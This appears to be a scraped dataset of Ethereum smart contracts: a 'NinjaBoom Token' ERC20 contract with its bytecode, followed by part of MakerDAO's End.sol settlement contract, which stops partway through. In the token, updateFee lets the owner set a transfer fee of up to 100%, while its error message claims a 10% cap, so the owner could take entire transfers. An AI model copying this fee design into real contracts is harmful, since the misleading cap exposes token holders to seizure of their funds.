* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract NinjaBoomToken {
//Enable SafeMath
using SafeMath for uint256;
//Token details
string constant public name = "NinjaBoom Token";
string constant public symbol = "NIB";
uint8 constant public decimals = 18;
//Reward pool and owner address
address public owner;
address public rewardPoolAddress;
//Supply and tranasction fee
uint256 public maxTokenSupply = 10000e18; // 10,000 tokens
uint256 public feePercent = 0; // initial transaction fee percentage
uint256 public feePercentMax = 100; // maximum transaction fee percentage
//Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokens);
event Approval(address indexed _owner,address indexed _spender, uint256 _tokens);
event TranserFee(uint256 _tokens);
event UpdateFee(uint256 _fee);
event RewardPoolUpdated(address indexed _rewardPoolAddress, address indexed _newRewardPoolAddress);
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
event OwnershipRenounced(address indexed _previousOwner, address indexed _newOwner);
//Mappings
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) private allowances;
//On deployment
constructor () {
owner = msg.sender;
rewardPoolAddress = address(this);
balanceOf[msg.sender] = maxTokenSupply;
emit Transfer(address(0), msg.sender, maxTokenSupply);
}
//ERC20 totalSupply
function totalSupply() public view returns (uint256) {
return maxTokenSupply;
}
//ERC20 transfer
function transfer(address _to, uint256 _tokens) public returns (bool) {
transferWithFee(msg.sender, _to, _tokens);
return true;
}
//ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _tokens) public returns (bool) {
require(_tokens <= balanceOf[_from], "Not enough tokens in the approved address balance");
require(_tokens <= allowances[_from][msg.sender], "token amount is larger than the current allowance");
transferWithFee(_from, _to, _tokens);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_tokens);
return true;
}
//ERC20 approve
function approve(address _spender, uint256 _tokens) public returns (bool) {
allowances[msg.sender][_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
//ERC20 allowance
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
//Transfer with transaction fee applied
function transferWithFee(address _from, address _to, uint256 _tokens) internal returns (bool) {
require(balanceOf[_from] >= _tokens, "Not enough tokens in the senders balance");
uint256 _feeAmount = (_tokens.mul(feePercent)).div(100);
balanceOf[_from] = balanceOf[_from].sub(_tokens);
balanceOf[_to] = balanceOf[_to].add(_tokens.sub(_feeAmount));
balanceOf[rewardPoolAddress] = balanceOf[rewardPoolAddress].add(_feeAmount);
emit Transfer(_from, _to, _tokens.sub(_feeAmount));
emit Transfer(_from, rewardPoolAddress, _feeAmount);
emit TranserFee(_tokens);
return true;
}
//Update transaction fee percentage
function updateFee(uint256 _updateFee) public onlyOwner {
require(_updateFee <= feePercentMax, "Transaction fee cannot be greater than 10%");
feePercent = _updateFee;
emit UpdateFee(_updateFee);
}
//Update the reward pool address
function updateRewardPool(address _newRewardPoolAddress) public onlyOwner {
require(_newRewardPoolAddress != address(0), "New reward pool address cannot be a zero address");
rewardPoolAddress = _newRewardPoolAddress;
emit RewardPoolUpdated(rewardPoolAddress, _newRewardPoolAddress);
}
//Transfer current token balance to the reward pool address
function rewardPoolBalanceTransfer() public onlyOwner returns (bool) {
uint256 _currentBalance = balanceOf[address(this)];
transferWithFee(address(this), rewardPoolAddress, _currentBalance);
return true;
}
//Transfer ownership to new owner
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner cannot be a zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
//Remove owner from the contract
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner, address(0));
owner = address(0);
}
//Modifiers
modifier onlyOwner() {
require(owner == msg.sender, "Only current owner can call this function");
_;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80637fd6f15c116100ad57806395d89b411161007157806395d89b4114610442578063a9059cbb146104c5578063d5fbac3a14610529578063dd62ed3e1461056d578063f2fde38b146105e557610121565b80637fd6f15c1461036e578063845a51ec1461038c5780638b87062c146103c05780638da5cb5b146103e05780639012c4a81461041457610121565b806323b872dd116100f457806323b872dd14610249578063313ce567146102cd57806350f7c204146102ee57806370a082311461030c578063715018a61461036457610121565b80630414916f1461012657806306fdde0314610144578063095ea7b3146101c757806318160ddd1461022b575b600080fd5b61012e610629565b6040518082815260200191505060405180910390f35b61014c61062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610213600480360360408110156101dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b60405180821515815260200191505060405180910390f35b61023361075a565b6040518082815260200191505060405180910390f35b6102b56004803603606081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b60405180821515815260200191505060405180910390f35b6102d56109f9565b604051808260ff16815260200191505060405180910390f35b6102f66109fe565b6040518082815260200191505060405180910390f35b61034e6004803603602081101561032257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a04565b6040518082815260200191505060405180910390f35b61036c610a1c565b005b610376610b7e565b6040518082815260200191505060405180910390f35b610394610b84565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c8610baa565b60405180821515815260200191505060405180910390f35b6103e8610cca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104406004803603602081101561042a57600080fd5b8101908080359060200190929190505050610cee565b005b61044a610e2e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048a57808201518184015260208101905061046f565b50505050905090810190601f1680156104b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610511600480360360408110156104db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e67565b60405180821515815260200191505060405180910390f35b61056b6004803603602081101561053f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7f565b005b6105cf6004803603604081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611069565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f0565b005b60045481565b6040518060400160405280600f81526020017f4e696e6a61426f6f6d20546f6b656e000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a6d6031913960400191505060405180910390fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611ae96031913960400191505060405180910390fd5b6108de8484846112d7565b5061096e82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b601281565b60025481565b60056020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb48f42c7a4b7d66b43c8fccc1aafdac7c8ca6d024c15bb1d427d547f0002438060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b6000600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cc130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836112d7565b50600191505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600454811115610ded576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611abf602a913960400191505060405180910390fd5b806003819055507f38e229a7f3f9c329892d08eb37c4e91ccac6d12c798d394990ca4f56028ec266816040518082815260200191505060405180910390a150565b6040518060400160405280600381526020017f4e4942000000000000000000000000000000000000000000000000000000000081525081565b6000610e743384846112d7565b506001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611b1a6030913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f172da71f1c616b61d83038d9d8679e9f8592d8405647a400b24bf1852cecaed760405160405180910390a350565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b4a6022913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a456028913960400191505060405180910390fd5b600061139b606461138d6003548661173d90919063ffffffff16565b6117c390919063ffffffff16565b90506113ef83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149661144882856116f390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154d8160056000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b60056000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61161484876116f390919063ffffffff16565b6040518082815260200191505060405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f1c550965e5c4f41e1ff902e4c375e816025f4300aace5382db30900f650dd992836040518082815260200191505060405180910390a160019150509392505050565b600061173583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611895565b905092915050565b60008083141561175057600090506117bd565b600082840290508284828161176157fe5b04146117b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a9e6021913960400191505060405180910390fd5b809150505b92915050565b600061180583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611955565b905092915050565b60008082840190508381101561188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119075780820151818401526020810190506118ec565b50505050905090810190601f1680156119345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c65780820151818401526020810190506119ab565b50505050905090810190601f1680156119f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a0d57fe5b04905080915050939250505056fe4f6e6c792063757272656e74206f776e65722063616e2063616c6c20746869732066756e6374696f6e4e6f7420656e6f75676820746f6b656e7320696e207468652073656e646572732062616c616e63654e6f7420656e6f75676820746f6b656e7320696e2074686520617070726f76656420616464726573732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e73616374696f6e206665652063616e6e6f742062652067726561746572207468616e20313025746f6b656e20616d6f756e74206973206c6172676572207468616e207468652063757272656e7420616c6c6f77616e63654e65772072657761726420706f6f6c20616464726573732063616e6e6f742062652061207a65726f20616464726573734e6577206f776e65722063616e6e6f742062652061207a65726f2061646472657373a264697066735822122096483c6c56e71683dda43a60f9d4f9d3feb45ca6b773cef66ba25fce6ff547ef64736f6c63430007000033
|
{"success": true, "error": null, "results": {}}
| 3,563 |
0xbb856d1742fd182a90239d7ae85706c2fe4e5922
|
// SPDX-License-Identifier: AGPL-3.0-or-later
/// end.sol -- global settlement engine
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
// Copyright (C) 2018 Lev Livnev <lev@liv.nev.org.uk>
// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.6.12;
interface VatLike {
function dai(address) external view returns (uint256);
function ilks(bytes32 ilk) external returns (
uint256 Art, // [wad]
uint256 rate, // [ray]
uint256 spot, // [ray]
uint256 line, // [rad]
uint256 dust // [rad]
);
function urns(bytes32 ilk, address urn) external returns (
uint256 ink, // [wad]
uint256 art // [wad]
);
function debt() external returns (uint256);
function move(address src, address dst, uint256 rad) external;
function hope(address) external;
function flux(bytes32 ilk, address src, address dst, uint256 rad) external;
function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external;
function suck(address u, address v, uint256 rad) external;
function cage() external;
}
interface CatLike {
function ilks(bytes32) external returns (
address flip,
uint256 chop, // [ray]
uint256 lump // [rad]
);
function cage() external;
}
interface DogLike {
function ilks(bytes32) external returns (
address clip,
uint256 chop,
uint256 hole,
uint256 dirt
);
function cage() external;
}
interface PotLike {
function cage() external;
}
interface VowLike {
function cage() external;
}
interface FlipLike {
function bids(uint256 id) external view returns (
uint256 bid, // [rad]
uint256 lot, // [wad]
address guy,
uint48 tic, // [unix epoch time]
uint48 end, // [unix epoch time]
address usr,
address gal,
uint256 tab // [rad]
);
function yank(uint256 id) external;
}
interface ClipLike {
function sales(uint256 id) external view returns (
uint256 pos,
uint256 tab,
uint256 lot,
address usr,
uint96 tic,
uint256 top
);
function yank(uint256 id) external;
}
interface PipLike {
function read() external view returns (bytes32);
}
interface SpotLike {
function par() external view returns (uint256);
function ilks(bytes32) external view returns (
PipLike pip,
uint256 mat // [ray]
);
function cage() external;
}
/*
This is the `End` and it coordinates Global Settlement. This is an
involved, stateful process that takes place over nine steps.
First we freeze the system and lock the prices for each ilk.
1. `cage()`:
- freezes user entrypoints
- cancels flop/flap auctions
- starts cooldown period
- stops pot drips
2. `cage(ilk)`:
- set the cage price for each `ilk`, reading off the price feed
We must process some system state before it is possible to calculate
the final dai / collateral price. In particular, we need to determine
a. `gap`, the collateral shortfall per collateral type by
considering under-collateralised CDPs.
b. `debt`, the outstanding dai supply after including system
surplus / deficit
We determine (a) by processing all under-collateralised CDPs with
`skim`:
3. `skim(ilk, urn)`:
- cancels CDP debt
- any excess collateral remains
- backing collateral taken
We determine (b) by processing ongoing dai generating processes,
i.e. auctions. We need to ensure that auctions will not generate any
further dai income.
In the two-way auction model (Flipper) this occurs when
all auctions are in the reverse (`dent`) phase. There are two ways
of ensuring this:
4a. i) `wait`: set the cooldown period to be at least as long as the
longest auction duration, which needs to be determined by the
cage administrator.
This takes a fairly predictable time to occur but with altered
auction dynamics due to the now varying price of dai.
ii) `skip`: cancel all ongoing auctions and seize the collateral.
This allows for faster processing at the expense of more
processing calls. This option allows dai holders to retrieve
their collateral faster.
`skip(ilk, id)`:
- cancel individual flip auctions in the `tend` (forward) phase
- retrieves collateral and debt (including penalty) to owner's CDP
- returns dai to last bidder
- `dent` (reverse) phase auctions can continue normally
Option (i), `wait`, is sufficient (if all auctions were bidded at least
once) for processing the system settlement but option (ii), `skip`,
will speed it up. Both options are available in this implementation,
with `skip` being enabled on a per-auction basis.
In the case of the Dutch Auctions model (Clipper) they keep recovering
debt during the whole lifetime and there isn't a max duration time
guaranteed for the auction to end.
So the way to ensure the protocol will not receive extra dai income is:
4b. i) `snip`: cancel all ongoing auctions and seize the collateral.
`snip(ilk, id)`:
- cancel individual running clip auctions
- retrieves remaining collateral and debt (including penalty)
to owner's CDP
When a CDP has been processed and has no debt remaining, the
remaining collateral can be removed.
5. `free(ilk)`:
- remove collateral from the caller's CDP
- owner can call as needed
After the processing period has elapsed, we enable calculation of
the final price for each collateral type.
6. `thaw()`:
- only callable after processing time period elapsed
- assumption that all under-collateralised CDPs are processed
- fixes the total outstanding supply of dai
- may also require extra CDP processing to cover vow surplus
7. `flow(ilk)`:
- calculate the `fix`, the cash price for a given ilk
- adjusts the `fix` in the case of deficit / surplus
At this point we have computed the final price for each collateral
type and dai holders can now turn their dai into collateral. Each
unit dai can claim a fixed basket of collateral.
Dai holders must first `pack` some dai into a `bag`. Once packed,
dai cannot be unpacked and is not transferrable. More dai can be
added to a bag later.
8. `pack(wad)`:
- put some dai into a bag in preparation for `cash`
Finally, collateral can be obtained with `cash`. The bigger the bag,
the more collateral can be released.
9. `cash(ilk, wad)`:
- exchange some dai from your bag for gems from a specific ilk
- the number of gems is limited by how big your bag is
*/
contract End {
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "End/not-authorized");
_;
}
// --- Data ---
VatLike public vat; // CDP Engine
CatLike public cat;
DogLike public dog;
VowLike public vow; // Debt Engine
PotLike public pot;
SpotLike public spot;
uint256 public live; // Active Flag
uint256 public when; // Time of cage [unix epoch time]
uint256 public wait; // Processing Cooldown Length [seconds]
uint256 public debt; // Total outstanding dai following processing [rad]
mapping (bytes32 => uint256) public tag; // Cage price [ray]
mapping (bytes32 => uint256) public gap; // Collateral shortfall [wad]
mapping (bytes32 => uint256) public Art; // Total debt per ilk [wad]
mapping (bytes32 => uint256) public fix; // Final cash price [ray]
mapping (address => uint256) public bag; // [wad]
mapping (bytes32 => mapping (address => uint256)) public out; // [wad]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
event File(bytes32 indexed what, address data);
event Cage();
event Cage(bytes32 indexed ilk);
event Snip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art);
event Skip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art);
event Skim(bytes32 indexed ilk, address indexed urn, uint256 wad, uint256 art);
event Free(bytes32 indexed ilk, address indexed usr, uint256 ink);
event Thaw();
event Flow(bytes32 indexed ilk);
event Pack(address indexed usr, uint256 wad);
event Cash(bytes32 indexed ilk, address indexed usr, uint256 wad);
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
live = 1;
emit Rely(msg.sender);
}
// --- Math ---
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
require(z >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, y) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, WAD) / y;
}
// --- Administration ---
function file(bytes32 what, address data) external auth {
require(live == 1, "End/not-live");
if (what == "vat") vat = VatLike(data);
else if (what == "cat") cat = CatLike(data);
else if (what == "dog") dog = DogLike(data);
else if (what == "vow") vow = VowLike(data);
else if (what == "pot") pot = PotLike(data);
else if (what == "spot") spot = SpotLike(data);
else revert("End/file-unrecognized-param");
emit File(what, data);
}
function file(bytes32 what, uint256 data) external auth {
require(live == 1, "End/not-live");
if (what == "wait") wait = data;
else revert("End/file-unrecognized-param");
emit File(what, data);
}
// --- Settlement ---
function cage() external auth {
require(live == 1, "End/not-live");
live = 0;
when = block.timestamp;
vat.cage();
cat.cage();
dog.cage();
vow.cage();
spot.cage();
pot.cage();
emit Cage();
}
function cage(bytes32 ilk) external {
require(live == 0, "End/still-live");
require(tag[ilk] == 0, "End/tag-ilk-already-defined");
(Art[ilk],,,,) = vat.ilks(ilk);
(PipLike pip,) = spot.ilks(ilk);
// par is a ray, pip returns a wad
tag[ilk] = wdiv(spot.par(), uint256(pip.read()));
emit Cage(ilk);
}
function snip(bytes32 ilk, uint256 id) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(address _clip,,,) = dog.ilks(ilk);
ClipLike clip = ClipLike(_clip);
(, uint256 rate,,,) = vat.ilks(ilk);
(, uint256 tab, uint256 lot, address usr,,) = clip.sales(id);
vat.suck(address(vow), address(vow), tab);
clip.yank(id);
uint256 art = tab / rate;
Art[ilk] = add(Art[ilk], art);
require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow");
vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art));
emit Snip(ilk, id, usr, tab, lot, art);
}
function skip(bytes32 ilk, uint256 id) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(address _flip,,) = cat.ilks(ilk);
FlipLike flip = FlipLike(_flip);
(, uint256 rate,,,) = vat.ilks(ilk);
(uint256 bid, uint256 lot,,,, address usr,, uint256 tab) = flip.bids(id);
vat.suck(address(vow), address(vow), tab);
vat.suck(address(vow), address(this), bid);
vat.hope(address(flip));
flip.yank(id);
uint256 art = tab / rate;
Art[ilk] = add(Art[ilk], art);
require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow");
vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art));
emit Skip(ilk, id, usr, tab, lot, art);
}
function skim(bytes32 ilk, address urn) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
(uint256 ink, uint256 art) = vat.urns(ilk, urn);
uint256 owe = rmul(rmul(art, rate), tag[ilk]);
uint256 wad = min(ink, owe);
gap[ilk] = add(gap[ilk], sub(owe, wad));
require(wad <= 2**255 && art <= 2**255, "End/overflow");
vat.grab(ilk, urn, address(this), address(vow), -int256(wad), -int256(art));
emit Skim(ilk, urn, wad, art);
}
function free(bytes32 ilk) external {
require(live == 0, "End/still-live");
(uint256 ink, uint256 art) = vat.urns(ilk, msg.sender);
require(art == 0, "End/art-not-zero");
require(ink <= 2**255, "End/overflow");
vat.grab(ilk, msg.sender, msg.sender, address(vow), -int256(ink), 0);
emit Free(ilk, msg.sender, ink);
}
function thaw() external {
require(live == 0, "End/still-live");
